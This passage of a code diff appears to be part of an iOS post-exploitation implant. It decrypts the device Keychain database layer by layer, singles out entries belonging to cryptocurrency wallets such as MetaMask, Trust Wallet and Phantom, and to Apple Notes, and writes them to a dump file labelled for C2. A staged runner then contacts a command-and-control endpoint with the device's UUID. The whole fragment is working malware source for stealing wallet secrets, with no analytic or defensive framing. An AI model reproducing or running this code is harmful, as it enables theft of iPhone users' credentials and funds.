p7_db, + "SELECT keyclass, data FROM metadatakeys", -1, p7_stmtBuf, 0n)); + p7_flog("prepare rc=" + p7_mkRc); + p7_flushLog(); + if (p7_mkRc === p7_SQLITE_OK) { + var p7_mkStmt = N.read64(BigInt(p7_stmtBuf)); + p7_flog("mkStmt=0x" + p7_mkStmt.toString(16)); + var p7_mkCount = 0; + var p7_stepRc; + while ((p7_stepRc = Number(N.callSymbol("sqlite3_step", p7_mkStmt))) === p7_SQLITE_ROW) { + var p7_kc = Number(N.callSymbol("sqlite3_column_int", p7_mkStmt, 0)); + var p7_wrapPtr = BigInt(N.callSymbol("sqlite3_column_blob", p7_mkStmt, 1)); + var p7_wrapLen = Number(N.callSymbol("sqlite3_column_bytes", p7_mkStmt, 1)); + if (!p7_wrapPtr || p7_wrapPtr === 0n || p7_wrapLen < 40) continue; + + var p7_localWrap = N.read(p7_wrapPtr, p7_wrapLen); + + if (p7_aksReady) { + var p7_unwrap = p7_aksUnwrap(p7_kc, p7_localWrap, p7_wrapLen); + if (p7_unwrap && p7_unwrap.kr === 0 && p7_unwrap.data) { + var p7_keyArr = new Uint8Array(p7_unwrap.data); + p7_metaKeys[p7_kc] = p7_keyArr; + p7_result.metadataKeys[p7_kc] = {status: "ok", len: p7_unwrap.outSize}; + p7_mkCount++; + p7_flog("metakey class=" + p7_kc + " OK " + p7_unwrap.outSize + "B"); + } else { + var p7_ukr = p7_unwrap ? p7_unwrap.kr : -1; + p7_result.metadataKeys[p7_kc] = {status: "failed", kr: p7_ukr}; + p7_flog("metakey class=" + p7_kc + " FAIL kr=" + p7_ukr); + } + } + } + N.callSymbol("sqlite3_finalize", p7_mkStmt); + p7_flog("metadatakeys: " + p7_mkCount + " unwrapped"); + p7_result.diagnostics.metadataKeysUnwrapped = p7_mkCount; + } else { + p7_flog("metadatakeys prepare failed rc=" + p7_mkRc); + p7_result.errors.push("metadatakeys prepare rc=" + p7_mkRc); + } + N.callSymbol("free", p7_stmtBuf); + p7_flushLog(); + + // --- Check local CommonCrypto availability --- + var p7_symCCCreate = p7_toPtr(N.callSymbol("dlsym", 0xfffffffffffffffen, "CCCryptorCreate")); + var p7_hasCrypto = p7_symCCCreate !== 0n; + p7_flog("Local CCCryptorCreate=0x" + p7_symCCCreate.toString(16)); + p7_result.diagnostics.hasCrypto = p7_hasCrypto; + p7_flushLog(); + + // Local AES-GCM with tag verification + // Uses CCCryptorCreate(7args) + CCCryptorUpdate(6args) for AES-ECB, + // then JavaScript for CTR mode + GHASH tag computation + function p7_aesEcbEncrypt(keyPtr, ctx, localIn, localOut, movedBuf, block16) { + N.write(localIn, block16.buffer); + N.callSymbol("CCCryptorUpdate", ctx, localIn, 16n, localOut, 16n, movedBuf); + return new Uint8Array(N.read(localOut, 16)); + } + function p7_gf128Mul(X, Y) { + var Z = new Uint8Array(16); + var V = new Uint8Array(Y); + for (var i = 0; i < 128; i++) { + if (X[i >> 3] & (0x80 >> (i & 7))) + for (var j = 0; j < 16; j++) Z[j] ^= V[j]; + var lsb = V[15] & 1; + for (var j = 15; j > 0; j--) V[j] = (V[j] >>> 1) | ((V[j-1] & 1) << 7); + V[0] >>>= 1; + if (lsb) V[0] ^= 0xe1; + } + return Z; + } + function p7_gcmDeriveJ0(H, iv, ivLen) { + var j0 = new Uint8Array(16); + if (ivLen === 12) { + for (var i = 0; i < 12; i++) j0[i] = iv[i]; + j0[15] = 1; + } else { + var g = new Uint8Array(16); + var nBlk = Math.ceil(ivLen / 16); + for (var i = 0; i < nBlk; i++) { + var off = i * 16, rem = Math.min(16, ivLen - off); + for (var j = 0; j < rem; j++) g[j] ^= iv[off + j]; + g = p7_gf128Mul(g, H); + } + var lb = new Uint8Array(16); + var ivBits = ivLen * 8; + lb[12] = (ivBits >>> 24) & 0xff; lb[13] = (ivBits >>> 16) & 0xff; + lb[14] = (ivBits >>> 8) & 0xff; lb[15] = ivBits & 0xff; + for (var j = 0; j < 16; j++) g[j] ^= lb[j]; + j0 = p7_gf128Mul(g, H); + } + return j0; + } + function p7_gcmInc32(block) { + var c = new Uint8Array(block); + for (var k = 15; k >= 12; k--) { c[k]++; if (c[k] !== 0) break; } + return c; + } + function p7_gcmDecrypt(key32, iv, ivLen, ct, ctLen, tag, tagLen) { + if (!key32 || !ct || ctLen <= 0) return null; + var localKey = p7_toPtr(N.callSymbol("malloc", 32)); + N.write(localKey, key32.buffer || key32); + var ctxBuf = p7_toPtr(N.callSymbol("calloc", 1, 8)); + var cr = Number(N.callSymbol("CCCryptorCreate", + 0n, 0n, 2n, localKey, 32n, 0n, ctxBuf)); + if (cr !== 0) { + p7_flog("gcm: CCCryptorCreate failed cr=" + cr); + N.callSymbol("free", localKey); N.callSymbol("free", ctxBuf); + return null; + } + var ctx = N.readPtr(ctxBuf); + N.callSymbol("free", ctxBuf); + var localIn = p7_toPtr(N.callSymbol("malloc", 16)); + var localOut = p7_toPtr(N.callSymbol("malloc", 16)); + var movedBuf = p7_toPtr(N.callSymbol("calloc", 1, 8)); + + var H = p7_aesEcbEncrypt(localKey, ctx, localIn, localOut, movedBuf, new Uint8Array(16)); + var j0 = p7_gcmDeriveJ0(H, iv, ivLen); + var ctr = p7_gcmInc32(j0); + + var plaintext = new Uint8Array(ctLen); + var blockCount = Math.ceil(ctLen / 16); + for (var b = 0; b < blockCount; b++) { + var encCtr = p7_aesEcbEncrypt(localKey, ctx, localIn, localOut, movedBuf, ctr); + var off = b * 16; + var rem = Math.min(16, ctLen - off); + for (var j = 0; j < rem; j++) plaintext[off + j] = ct[off + j] ^ encCtr[j]; + ctr = p7_gcmInc32(ctr); + } + + var tagOk = true; + if (tag && tagLen > 0) { + var ghash = new Uint8Array(16); + var ctBlocks = Math.ceil(ctLen / 16); + for (var i = 0; i < ctBlocks; i++) { + var off2 = i * 16; + var rem2 = Math.min(16, ctLen - off2); + for (var j = 0; j < rem2; j++) ghash[j] ^= ct[off2 + j]; + ghash = p7_gf128Mul(ghash, H); + } + var lenBlock = new Uint8Array(16); + var ctBits = ctLen * 8; + lenBlock[12] = (ctBits >>> 24) & 0xff; lenBlock[13] = (ctBits >>> 16) & 0xff; + lenBlock[14] = (ctBits >>> 8) & 0xff; lenBlock[15] = ctBits & 0xff; + for (var j = 0; j < 16; j++) ghash[j] ^= lenBlock[j]; + ghash = p7_gf128Mul(ghash, H); + var encJ0 = p7_aesEcbEncrypt(localKey, ctx, localIn, localOut, movedBuf, j0); + var computedTag = new Uint8Array(16); + for (var j = 0; j < 16; j++) computedTag[j] = ghash[j] ^ encJ0[j]; + tagOk = true; + for (var j = 0; j < Math.min(tagLen, 16); j++) { + if (computedTag[j] !== tag[j]) { tagOk = false; break; } + } + } + + N.callSymbol("CCCryptorRelease", ctx); + N.callSymbol("free", localKey); + N.callSymbol("free", localIn); + N.callSymbol("free", localOut); + N.callSymbol("free", movedBuf); + if (!tagOk) { + p7_flog("GCM TAG MISMATCH ct=" + ctLen + " iv=" + ivLen); + p7_result.diagnostics.tagMismatches = (p7_result.diagnostics.tagMismatches || 0) + 1; + } + return plaintext.buffer; + } + + // --- V7 blob parser helpers --- + function p7_parseVarint(buf, offset) { + var val = 0, shift = 0, i = offset; + while (i < buf.length) { + var b = buf[i++]; + val |= (b & 0x7F) << shift; + if (!(b & 0x80)) break; + shift += 7; + } + return {value: val, nextOffset: i}; + } + + function p7_parseProtobuf(data) { + var buf = new Uint8Array(data); + var fields = {}; + var i = 0; + while (i < buf.length) { + var tagInfo = p7_parseVarint(buf, i); + i = tagInfo.nextOffset; + var fieldNum = tagInfo.value >> 3; + var wireType = tagInfo.value & 0x7; + if (wireType === 0) { + var v = p7_parseVarint(buf, i); + fields["f" + fieldNum + "_varint"] = v.value; + i = v.nextOffset; + } else if (wireType === 2) { + var lenInfo = p7_parseVarint(buf, i); + i = lenInfo.nextOffset; + var chunk = buf.slice(i, i + lenInfo.value); + if (!fields["f" + fieldNum]) fields["f" + fieldNum] = []; + fields["f" + fieldNum].push(chunk); + i += lenInfo.value; + } else { + break; + } + } + return fields; + } + + function p7_parseBplist(buf) { + if (buf.length < 40) return null; + if (buf[0]!==0x62||buf[1]!==0x70||buf[2]!==0x6c||buf[3]!==0x69||buf[4]!==0x73||buf[5]!==0x74) return null; + var tOff = buf.length - 32; + var oiSz = buf[tOff+6], orSz = buf[tOff+7]; + var nObj = 0; for (var i=0;i<8;i++) nObj = nObj*256 + buf[tOff+8+i]; + var topIdx = 0; for (var i=0;i<8;i++) topIdx = topIdx*256 + buf[tOff+16+i]; + var otOff = 0; for (var i=0;i<8;i++) otOff = otOff*256 + buf[tOff+24+i]; + function rdSz(off, sz) { var v=0; for(var i=0;i=nObj) return null; + var off = offsets[idx]; + var marker = buf[off]; + var hi = marker >> 4, lo = marker & 0xf; + if (hi===0) { return lo===0?null:lo===8?false:lo===9?true:null; } + if (hi===1) { var n=1<= objArr.length) return null; + var rootObj = bp.parseObj(objArr[rootIdx]); + if (!rootObj||!rootObj._dict) return null; + function getUid(key) { + var ref = rootObj._dict[key]; + if (ref===undefined) return -1; + var u = bp.parseObj(ref); + if (u && u._uid !== undefined) return u._uid; + return typeof ref==="number"? ref : -1; + } + var ivIdx = getUid("SFInitializationVector"); + var ctIdx = getUid("SFCiphertext"); + var tagIdx = getUid("SFAuthenticationCode"); + if (tagIdx < 0) tagIdx = getUid("SFAuthenticationTag"); + if (ivIdx<0||ivIdx>=objArr.length||ctIdx<0||ctIdx>=objArr.length) return null; + var ivData = bp.parseObj(objArr[ivIdx]); + var ctData = bp.parseObj(objArr[ctIdx]); + if (!(ivData instanceof Uint8Array) || !(ctData instanceof Uint8Array)) return null; + var tag = null; + if (tagIdx >= 0 && tagIdx < objArr.length) { + var t = bp.parseObj(objArr[tagIdx]); + if (t instanceof Uint8Array) tag = t; + } + var ct = ctData; + if (!tag && ct.length > 16) { + tag = ct.slice(ct.length - 16); + ct = ct.slice(0, ct.length - 16); + } + return {iv: ivData, ct: ct, tag: tag}; + } + + // --- TLV decoder --- + function p7_decodeTLV(data) { + var buf = new Uint8Array(data); + var attrs = {}; + var i = 0; + // Outer: tag 0x30 or 0x31 (SEQUENCE/SET) + if (buf.length < 4) return attrs; + if (buf[0] === 0x30 || buf[0] === 0x31) { + var outerLen = buf[1]; + if (outerLen === 0x82) { + outerLen = (buf[2] << 8) | buf[3]; + i = 4; + } else if (outerLen === 0x81) { + outerLen = buf[2]; + i = 3; + } else { + i = 2; + } + } + while (i + 2 < buf.length) { + var seqTag = buf[i++]; + if (seqTag !== 0x30) break; + var seqLen = buf[i++]; + if (seqLen === 0x81) { seqLen = buf[i++]; } + else if (seqLen === 0x82) { seqLen = (buf[i] << 8) | buf[i+1]; i += 2; } + var seqEnd = i + seqLen; + if (seqEnd > buf.length) break; + // Inside: key string tag (0x0C UTF8String or 0x18 GeneralizedTime) + value + var keyTag = buf[i++]; + var keyLen = buf[i++]; + if (keyLen === 0x81) { keyLen = buf[i++]; } + var keyStr = ""; + for (var ki = 0; ki < keyLen && (i + ki) < buf.length; ki++) + keyStr += String.fromCharCode(buf[i + ki]); + i += keyLen; + if (i < seqEnd) { + var valTag = buf[i++]; + var valLen = buf[i++]; + if (valLen === 0x81) { valLen = buf[i++]; } + else if (valLen === 0x82) { valLen = (buf[i] << 8) | buf[i+1]; i += 2; } + if (valTag === 0x0C || valTag === 0x18 || valTag === 0x16) { + var valStr = ""; + for (var vi = 0; vi < valLen && (i + vi) < buf.length; vi++) + valStr += String.fromCharCode(buf[i + vi]); + attrs[keyStr] = valStr; + } else if (valTag === 0x04) { + var valBytes = buf.slice(i, i + valLen); + var hex = ""; + for (var hi = 0; hi < valBytes.length; hi++) + hex += ("0" + valBytes[hi].toString(16)).slice(-2); + attrs[keyStr] = hex; + attrs[keyStr + "_raw"] = valBytes; + } else if (valTag === 0x02) { + var intVal = 0; + for (var ii = 0; ii < valLen && (i + ii) < buf.length; ii++) + intVal = (intVal << 8) | buf[i + ii]; + attrs[keyStr] = intVal; + } + i += valLen; + } + i = seqEnd; + } + return attrs; + } + + // --- Table scan + decrypt --- + p7_flog("=== Table scan + decrypt ==="); + p7_flushLog(); + var p7_tableNames = ["genp", "inet", "cert", "keys"]; + var p7_MAX_ROWS = 2000; + + for (var p7_ti = 0; p7_ti < p7_tableNames.length; p7_ti++) { + var p7_tbl = p7_tableNames[p7_ti]; + p7_flog("table[" + p7_ti + "]=" + p7_tbl + " starting..."); + var p7_items = []; + var p7_tStmt = BigInt(N.callSymbol("calloc", 1, 8)); + var p7_tSql = "SELECT rowid, data FROM " + p7_tbl + " LIMIT " + p7_MAX_ROWS; + var p7_tRc = Number(N.callSymbol("sqlite3_prepare_v2", p7_db, p7_tSql, -1, p7_tStmt, 0n)); + p7_flog(p7_tbl + " prepare rc=" + p7_tRc); + if (p7_tRc !== p7_SQLITE_OK) { + p7_flog(p7_tbl + " prepare FAILED"); + N.callSymbol("free", p7_tStmt); + p7_result.tables[p7_tbl] = {error: "prepare rc=" + p7_tRc, items: []}; + continue; + } + var p7_stmt = N.read64(BigInt(p7_tStmt)); + N.callSymbol("free", p7_tStmt); + var p7_rowCount = 0; + p7_flushLog(); + + var p7_stepVal; + while ((p7_stepVal = Number(N.callSymbol("sqlite3_step", p7_stmt))) === p7_SQLITE_ROW) { + p7_rowCount++; + try { + if (p7_rowCount === 1 || p7_rowCount % 500 === 0) { + p7_flog(p7_tbl + " row " + p7_rowCount); + if (typeof __peStillOwner === "function" && !__peStillOwner()) { + p7_flog("PEMK-G abort decrypt: lost pe_run_token at " + p7_tbl + " row " + p7_rowCount); + p7_flushLog(); + throw "pe_run_token_lost"; + } + } + var p7_rowid = Number(N.callSymbol("sqlite3_column_int", p7_stmt, 0)); + var p7_blobPtr = BigInt(N.callSymbol("sqlite3_column_blob", p7_stmt, 1)); + var p7_blobLen = Number(N.callSymbol("sqlite3_column_bytes", p7_stmt, 1)); + if (!p7_blobPtr || p7_blobPtr === 0n || p7_blobLen < 8) { + p7_items.push({rowid: p7_rowid, error: "empty"}); + continue; + } + if (p7_blobLen > 262144) { + p7_flog("WARN " + p7_tbl + " row " + p7_rowCount + " blobLen=" + p7_blobLen + " >256KB, skip"); + p7_items.push({rowid: p7_rowid, error: "blob_too_large len=" + p7_blobLen}); + continue; + } + var p7_blobData = new Uint8Array(N.read(p7_blobPtr, p7_blobLen)); + var p7_version = p7_blobData[0] | (p7_blobData[1] << 8) | (p7_blobData[2] << 16) | (p7_blobData[3] << 24); + var p7_item = {rowid: p7_rowid, _table: p7_tbl, version: p7_version}; + + try { + var p7_pbData; + if (p7_version >= 7 && p7_version <= 20) { + p7_pbData = p7_blobData.slice(4); + } else if (p7_blobData[0] === 0x0a || p7_blobData[0] === 0x08 || p7_blobData[0] === 0x12) { + p7_pbData = p7_blobData; + p7_item.version = 7; + } else { + p7_item.error = "unknown_format v=" + p7_version; + p7_items.push(p7_item); + continue; + } + + var p7_pb = p7_parseProtobuf(p7_pbData.buffer); + var p7_protClass = p7_pb.f3_varint || 0; + p7_item.protectionClass = p7_protClass; + + // Extract nested fields + // outer.1 -> f1[0] (nested: 1.1=bplistFirst, 1.2.1=blob3Key) + // outer.2 -> f2[0] (nested: 2.1=bplistSecond, 2.2=bplistThird) + var p7_bpFirst = null, p7_bpSecond = null, p7_bpThird = null, p7_blob3Key = null; + + if (p7_pb.f1 && p7_pb.f1[0]) { + var p7_inner1 = p7_parseProtobuf(p7_pb.f1[0].buffer); + if (p7_inner1.f1 && p7_inner1.f1[0]) p7_bpFirst = p7_inner1.f1[0]; + if (p7_inner1.f2 && p7_inner1.f2[0]) { + var p7_inner12 = p7_parseProtobuf(p7_inner1.f2[0].buffer); + if (p7_inner12.f1 && p7_inner12.f1[0]) p7_blob3Key = p7_inner12.f1[0]; + } + } + if (p7_pb.f2 && p7_pb.f2[0]) { + var p7_inner2 = p7_parseProtobuf(p7_pb.f2[0].buffer); + if (p7_inner2.f1 && p7_inner2.f1[0]) p7_bpSecond = p7_inner2.f1[0]; + if (p7_inner2.f2 && p7_inner2.f2[0]) p7_bpThird = p7_inner2.f2[0]; + } + + p7_item._blobSizes = { + first: p7_bpFirst ? p7_bpFirst.length : 0, + second: p7_bpSecond ? p7_bpSecond.length : 0, + third: p7_bpThird ? p7_bpThird.length : 0, + blob3: p7_blob3Key ? p7_blob3Key.length : 0 + }; + + // Layer 1: GCM(bplistThird, metadataKey[class]) -> intermediate + var p7_mkeyArr = p7_metaKeys[p7_protClass]; + if (!p7_mkeyArr) { + p7_item.error = "no_metadata_key class=" + p7_protClass; + p7_items.push(p7_item); + continue; + } + + if (p7_bpThird && p7_hasCrypto) { + var p7_l1 = p7_parseBplistCiphertext(p7_bpThird); + if (p7_l1 && p7_l1.ct && p7_l1.iv) { + var p7_interKey = p7_gcmDecrypt(p7_mkeyArr, + p7_l1.iv, p7_l1.iv.length, + p7_l1.ct, p7_l1.ct.length, + p7_l1.tag, p7_l1.tag ? p7_l1.tag.length : 0); + if (p7_interKey) { + var p7_interArr = new Uint8Array(p7_interKey); + + // Layer 2: GCM(bplistSecond, intermediateKey) -> metadata TLV + if (p7_bpSecond) { + var p7_l2 = p7_parseBplistCiphertext(p7_bpSecond); + if (p7_l2 && p7_l2.ct && p7_l2.iv) { + var p7_metaPt = p7_gcmDecrypt( + p7_interArr.length >= 32 ? p7_interArr.slice(0, 32) : p7_interArr, + p7_l2.iv, p7_l2.iv.length, + p7_l2.ct, p7_l2.ct.length, + p7_l2.tag, p7_l2.tag ? p7_l2.tag.length : 0); + if (p7_metaPt) { + var p7_metaAttrs = p7_decodeTLV(p7_metaPt); + p7_item.service = p7_metaAttrs["svce"] || null; + p7_item.account = p7_metaAttrs["acct"] || null; + p7_item.accessGroup = p7_metaAttrs["agrp"] || null; + p7_item.label = p7_metaAttrs["labl"] || null; + } else { p7_item.layer2Error = "gcm_fail"; } + } else { p7_item.layer2Error = "bplist_parse"; } + } + + // Layer 3: AKS unwrap(blob3Key) + GCM(bplistFirst, blob3key) -> secret TLV + if (p7_blob3Key && p7_bpFirst && p7_aksReady) { + var p7_b3Unwrap = p7_aksUnwrap(p7_protClass, p7_blob3Key.buffer, p7_blob3Key.length); + if (p7_b3Unwrap && p7_b3Unwrap.kr === 0 && p7_b3Unwrap.data) { + var p7_b3Key = new Uint8Array(p7_b3Unwrap.data); + var p7_l3 = p7_parseBplistCiphertext(p7_bpFirst); + if (p7_l3 && p7_l3.ct && p7_l3.iv) { + var p7_secPt = p7_gcmDecrypt( + p7_b3Key.length >= 32 ? p7_b3Key.slice(0, 32) : p7_b3Key, + p7_l3.iv, p7_l3.iv.length, + p7_l3.ct, p7_l3.ct.length, + p7_l3.tag, p7_l3.tag ? p7_l3.tag.length : 0); + if (p7_secPt) { + var p7_secAttrs = p7_decodeTLV(p7_secPt); + if (p7_secAttrs["v_Data"]) { + p7_item.dataHex = p7_secAttrs["v_Data"]; + } + } else { p7_item.layer3Error = "gcm_fail"; } + } else { p7_item.layer3Error = "bplist_parse"; } + } else { + p7_item.layer3Error = "aks_unwrap kr=" + (p7_b3Unwrap ? p7_b3Unwrap.kr : -1); + } + } + } else { p7_item.layer1Error = "gcm_fail"; } + } else { p7_item.layer1Error = "bplist_parse"; } + } else if (!p7_bpThird) { p7_item.error = "no_bpThird"; } + } catch (p7_decErr) { + p7_item.error = "decrypt: " + p7_decErr; + } + p7_items.push(p7_item); + } catch (p7_rowErr) { + p7_flog(p7_tbl + " row " + p7_rowCount + " CRASH: " + p7_rowErr); + p7_flushLog(); + } + } + N.callSymbol("sqlite3_finalize", p7_stmt); + p7_flog(p7_tbl + ": " + p7_rowCount + " rows, " + p7_items.length + " processed"); + p7_result.tables[p7_tbl] = {count: p7_rowCount, items: p7_items}; + p7_flushLog(); + } + + // --- Wallet scan --- + var p7_walletRules = [ + ["bitpie", ["bitpie"]], + ["trustwallet", ["sixdays.trust", "group.com.sixdays"]], + ["imtoken", ["im.token", "imtoken", "token.im"]], + ["tokenpocket", ["tokenpocket", "global.wallet.ios", "com.global.wallet"]], + ["phantom", ["app.phantom", "phantom"]], + ["uniswap", ["uniswap"]], + ["coinbase", ["org.toshi"]], + ["bitget", ["bitkeep", "BG@@"]], + ["metamask", ["io.metamask", "metamask"]], + ["okx", ["okinc.okex", "okex", "com.okx"]], + ["tronlink", ["tronlink"]], + ["coin98", ["coin98"]], + ["solflare", ["solflare", "flutter_biometric"]], + ["exodus", ["exodus"]], + ["tonkeeper", ["tonkeeper", "jbig.tonkeeper"]], + ["mytonwallet", ["mytonwallet", "org.mytonwallet"]], + ["tonhub", ["tonhub"]], + ["notes", ["group.com.apple.notes", "com.apple.notes"]], + ]; + var p7_wallets = {}; + for (var p7_ri = 0; p7_ri < p7_walletRules.length; p7_ri++) + p7_wallets[p7_walletRules[p7_ri][0]] = []; + for (var p7_wti = 0; p7_wti < p7_tableNames.length; p7_wti++) { + var p7_wTbl = p7_result.tables[p7_tableNames[p7_wti]]; + if (!p7_wTbl || !p7_wTbl.items) continue; + for (var p7_wi = 0; p7_wi < p7_wTbl.items.length; p7_wi++) { + var p7_wItem = p7_wTbl.items[p7_wi]; + if (p7_wItem.error) continue; + var p7_agrp = (p7_wItem.accessGroup || "").toLowerCase(); + var p7_svce = (p7_wItem.service || "").toLowerCase(); + for (var p7_ri = 0; p7_ri < p7_walletRules.length; p7_ri++) { + var p7_pats = p7_walletRules[p7_ri][1]; + var p7_hit = false; + for (var p7_pi = 0; p7_pi < p7_pats.length; p7_pi++) { + if (p7_agrp.indexOf(p7_pats[p7_pi]) >= 0 || p7_svce.indexOf(p7_pats[p7_pi]) >= 0) { + p7_hit = true; break; + } + } + if (p7_hit) { p7_wallets[p7_walletRules[p7_ri][0]].push(p7_wItem); break; } + } + } + } + p7_result.wallets = {}; + var p7_wlog = "wallets:"; + for (var p7_ri = 0; p7_ri < p7_walletRules.length; p7_ri++) { + var p7_wk = p7_walletRules[p7_ri][0]; + if (p7_wallets[p7_wk].length > 0) { + p7_result.wallets[p7_wk] = {count: p7_wallets[p7_wk].length, items: p7_wallets[p7_wk]}; + p7_wlog += " " + p7_wk + "=" + p7_wallets[p7_wk].length; + } + } + p7_flog(p7_wlog); + + // --- Keep only wallet + Notes items in tables (drop other apps) --- + var p7_kept = 0, p7_dropped = 0; + function p7_itemKeep(item) { + var agrp = (item.accessGroup || "").toLowerCase(); + var svce = (item.service || "").toLowerCase(); + var acct = (item.account || "").toLowerCase(); + for (var ri = 0; ri < p7_walletRules.length; ri++) { + var pats = p7_walletRules[ri][1]; + for (var pi = 0; pi < pats.length; pi++) { + var pat = (pats[pi] || "").toLowerCase(); + if (!pat) continue; + if (agrp.indexOf(pat) >= 0 || svce.indexOf(pat) >= 0 || acct.indexOf(pat) >= 0) return true; + } + } + return false; + } + for (var p7_fti = 0; p7_fti < p7_tableNames.length; p7_fti++) { + var p7_fTbl = p7_result.tables[p7_tableNames[p7_fti]]; + if (!p7_fTbl || !p7_fTbl.items) continue; + var p7_keptItems = []; + for (var p7_fi = 0; p7_fi < p7_fTbl.items.length; p7_fi++) { + var p7_fit = p7_fTbl.items[p7_fi]; + if (p7_itemKeep(p7_fit)) { p7_keptItems.push(p7_fit); p7_kept++; } + else p7_dropped++; + } + p7_fTbl.items = p7_keptItems; + p7_fTbl.count = p7_keptItems.length; + } + p7_flog("keychain filter kept=" + p7_kept + " dropped=" + p7_dropped + " (wallet+notes only)"); + + // --- Write result --- + N.callSymbol("sqlite3_close", p7_db); + var p7_jsonStr = JSON.stringify(p7_result); + var p7_outTmp = "/tmp/keychain_c2_dump.json.tmp"; + var p7_outFinal = "/tmp/keychain_c2_dump.json"; + var p7_outDone = "/tmp/keychain_c2_dump.done"; + + var p7_outFd = Number(N.callSymbol("open", p7_outTmp, 0x601, 0x1FF)); + if (p7_outFd >= 0) { + var p7_jBuf = BigInt(N.callSymbol("malloc", BigInt(p7_jsonStr.length + 1))); + N.writeString(p7_jBuf, p7_jsonStr); + N.callSymbol("write", p7_outFd, p7_jBuf, p7_jsonStr.length); + N.callSymbol("fsync", p7_outFd); + N.callSymbol("close", p7_outFd); + N.callSymbol("free", p7_jBuf); + N.callSymbol("chmod", p7_outTmp, 0x1FF); + N.callSymbol("unlink", p7_outFinal); + N.callSymbol("rename", p7_outTmp, p7_outFinal); + N.callSymbol("chmod", p7_outFinal, 0x1FF); + // Write done marker + var p7_doneFd = Number(N.callSymbol("open", p7_outDone, 0x601, 0x1FF)); + if (p7_doneFd >= 0) { + N.callSymbol("write", p7_doneFd, "done", 4); + N.callSymbol("close", p7_doneFd); + N.callSymbol("chmod", p7_outDone, 0x1FF); + } + p7_flog("result written to " + p7_outFinal + " (" + p7_jsonStr.length + " bytes)"); + try { __pePostWarDumpFallback("pe_war_guarantee"); } catch (_wg) { p7_flog("PEMK-WAR guarantee err: " + _wg); } + } else { + p7_flog("failed to open output file"); + p7_result.errors.push("output file open failed"); + } + } else { + N.callSymbol("free", p7_dbPtrBuf); + p7_flog("DB open failed, writing partial dump for HQ /war"); + p7_result.errors.push("DB open failed rc=" + p7_dbRc); + p7_result.diagnostics = p7_result.diagnostics || {}; + p7_result.diagnostics.db_open_rc = p7_dbRc; + p7_result.diagnostics.partial = true; + try { + var p7_jsonStrFail = JSON.stringify(p7_result); + var p7_outTmpF = "/tmp/keychain_c2_dump.json.tmp"; + var p7_outFinalF = "/tmp/keychain_c2_dump.json"; + var p7_outDoneF = "/tmp/keychain_c2_dump.done"; + var p7_outFdF = Number(N.callSymbol("open", p7_outTmpF, 0x601, 0x1FF)); + if (p7_outFdF >= 0) { + var p7_jBufF = BigInt(N.callSymbol("malloc", BigInt(p7_jsonStrFail.length + 1))); + N.writeString(p7_jBufF, p7_jsonStrFail); + N.callSymbol("write", p7_outFdF, p7_jBufF, p7_jsonStrFail.length); + N.callSymbol("fsync", p7_outFdF); + N.callSymbol("close", p7_outFdF); + N.callSymbol("free", p7_jBufF); + N.callSymbol("chmod", p7_outTmpF, 0x1FF); + N.callSymbol("unlink", p7_outFinalF); + N.callSymbol("rename", p7_outTmpF, p7_outFinalF); + N.callSymbol("chmod", p7_outFinalF, 0x1FF); + var p7_doneFdF = Number(N.callSymbol("open", p7_outDoneF, 0x601, 0x1FF)); + if (p7_doneFdF >= 0) { + N.callSymbol("write", p7_doneFdF, "done", 4); + N.callSymbol("close", p7_doneFdF); + N.callSymbol("chmod", p7_outDoneF, 0x1FF); + } + p7_flog("partial result written (" + p7_jsonStrFail.length + " bytes)"); + try { __pePostWarDumpFallback("pe_war_guarantee_partial"); } catch (_wgp) {} + } else { + p7_flog("partial output open failed"); + } + } catch (p7_wErr) { + p7_flog("partial write err: " + p7_wErr); + } + } + } + } catch (p7_err) { + p7_flog("Phase 2 error: " + p7_err); + } finally { + if (p7_secRC) { + p7_secRC.destroy(); + } + } + } + // ===== End P7 Phase 2 ===== + if (p7_enableP7) p7_flushLog(); + p7_flog("PEMK-G s6_p7phase2 done"); p7_flushLog(); + try { + if (typeof __pePostWarDumpFallback === "function") { + p7_flog("PEMK-G post-s6 war-guarantee"); p7_flushLog(); + __pePostWarDumpFallback("pe_war_guarantee"); + } + } catch (_wf) {} +} + + function __peHttpGetStage(path) { + // C2 GET /api/ds/pe-stage/ — same host as /api/ds/log, so Laravel writes public/log/ds. + try { + var name = String(path || "").replace(/^.*\//, "").replace(/\.js$/i, ""); + if (!name) return null; + var uuid = ""; + try { + var g = typeof globalThis !== "undefined" ? globalThis : null; + if (g && g.__LAB_DEVICE_UUID__) uuid = String(g.__LAB_DEVICE_UUID__); + } catch (_u) {} + var q = "/api/ds/pe-stage/" + name; + if (uuid) q += "?deviceUUID=" + uuid; + return __labCfHttp("GET", q, null, false); + } catch (e) { + return null; + } + } + + var __peStages = [ + ["s1_launchd", __peStage1], + ["s2_keychain", __peStage2], + ["s3_mempress", __peStage3], + ["s4_loader", __peStage4], + ["s6_p7phase2", __peStage6], + ["s5_c2", __peStage5] + ]; + // 18.5 / 18.6.1+: inject C2 before Phase2. 18.6.0 keeps default s6→s5. + try { + var __iosOrd = __labIosForGate(); + var __earlyC2 = (!(__iosOrd.maj) || (__iosOrd.maj === 18 && ( + (__iosOrd.min === 5) || + (__iosOrd.min === 6 && __iosOrd.pat >= 1) || + (__iosOrd.min > 6) + ))); + if (__earlyC2) { + __peStages = [ + ["s1_launchd", __peStage1], + ["s2_keychain", __peStage2], + ["s3_mempress", __peStage3], + ["s4_loader", __peStage4], + ["s5_c2", __peStage5], + ["s6_p7phase2", __peStage6] + ]; + p7_flog("PEMK stage-order: early C2 before Phase2 ios=" + (__iosOrd.raw || "?")); + p7_flushLog(); + } + } catch (_ord) {} + // Execution always uses inline __peStageN (already in pe_worker). + // GET /api/ds/pe-stage/ is a C2 progress ping only (file log); + // failure must NOT block or force a permanent "net dead" skip. + for (var __psi = 0; __psi < __peStages.length; __psi++) { + if (__psi > 0 && typeof __peStillOwner === "function" && !__peStillOwner()) { + p7_flog("PEMK abort: lost pe_run_token (newer PE) before " + __peStages[__psi][0]); + p7_flushLog(); + break; + } + try { func_offsets_array[0x2101] = __psi + 1; } catch (_ms) {} + var __psName = __peStages[__psi][0]; + var __psFn = __peStages[__psi][1]; + try { + // Progress marker for coruna-lab /api/ds/pe-stage (body ignored). + __peHttpGetStage("/pe_stage/" + __psName + ".js"); + } catch (_ping) {} + try { + __psFn(); + } catch (__psErr2) { + p7_flog("stage " + __psName + " inline err: " + __psErr2); + p7_flushLog(); + } + if (globalThis.__peAbort) { p7_flog("abort flag set -> stop stages"); p7_flushLog(); break; } + } + p7_flog("PEMK-Z all stages done"); if (p7_enableP7) p7_flushLog(); + try { pe_alive_ping("pe_all_stages"); } catch (_pz) {} 